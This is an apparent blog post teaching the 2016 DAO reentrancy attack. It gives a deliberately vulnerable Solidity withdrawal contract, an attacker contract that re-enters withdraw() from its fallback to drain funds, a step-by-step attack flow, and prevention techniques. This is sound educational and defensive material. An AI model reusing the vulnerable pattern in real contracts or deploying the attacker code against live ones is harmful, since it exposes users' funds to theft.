
The DAO Attack – Reentrancy Vulnerability
The DAO attack on Ethereum in 2016 stands as the most famous reentrancy exploit in smart contract history. By recursively withdrawing funds before its internal state could update, an attacker drained about 3.6 million ETH in a matter of hours. This blog post unpacks how reentrancy works, walks through The DAO vulnerability, and outlines prevention techniques every Solidity developer should know.
What Is a Reentrancy Attack?
A reentrancy attack occurs when an external contract is able to call back into the vulnerable contract before the first invocation completes. In Solidity, that usually means sending Ether to a user-supplied address and letting that address’s fallback or receive function trigger another call. If the vulnerable contract hasn’t yet updated its balance or state, the attacker can repeat withdrawals in a loop.
Anatomy of The DAO Hack
- The DAO was a decentralized investment fund implemented as a set of Solidity smart contracts.
- Investors sent ETH to The DAO and received DAO tokens in return.
- The vulnerable function handled withdrawal like this:
- Check user balance
- Send ETH
- Set user balance to zero
- The attacker deployed a malicious contract that, in its fallback function, called back into The DAO’s withdraw function before the balance was cleared.
- Each recursive call passed the same balance check, draining ETH repeatedly until the contract was empty.
Simplified Code Example
// Vulnerable DAO-like contract
contract SimpleDAO {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint amount = balances[msg.sender];
require(amount > 0);
// Interaction
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
// Effect
balances[msg.sender] = 0;
}
}
// Attacker contract
contract ReentrancyAttacker {
SimpleDAO public dao;
constructor(address daoAddress) {
dao = SimpleDAO(daoAddress);
}
// Fallback triggered by call in withdraw()
fallback() external payable {
if (address(dao).balance >= msg.value) {
dao.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
dao.deposit{value: 1 ether}();
dao.withdraw();
}
}
Step-by-Step Flow of the DAO Attack
- Attacker calls attack() with 1 ETH.
- deposit() stores 1 ETH under attacker’s address.
- withdraw() reads balance (1 ETH), then sends it out.
- Sending to the attacker’s fallback triggers another withdraw().
- Balance is still 1 ETH so it sends another 1 ETH.
- Loop repeats until The DAO contract’s balance is depleted.
Prevention Techniques
- Apply the checks-effects-interactions pattern
- Check conditions
- Update internal state
- Interact with external contracts last
- Use mutexes or OpenZeppelin’s ReentrancyGuard
- Inherit ReentrancyGuard
- Mark vulnerable functions nonReentrant
- Favor transfer or send over low-level call (with caution)
- transfer forwards only 2300 gas, preventing complex fallback logic
- Modern gas costs have made this less reliable
- Pull over push payments
- Let users withdraw funds via a dedicated withdrawal function
- Avoid automatic refunds within core logic
Lessons Learned from the DAO Attack
- Even code audited by multiple teams can hide critical flaws
- Complex financial logic requires both formal verification and manual review
- The DAO hack led to Ethereum’s historic hard fork
- Awareness of common SWC identifiers (e.g., SWC-107 for reentrancy) is crucial
Read Also-
Top Cryptocurrency ETFs – All You Need to Know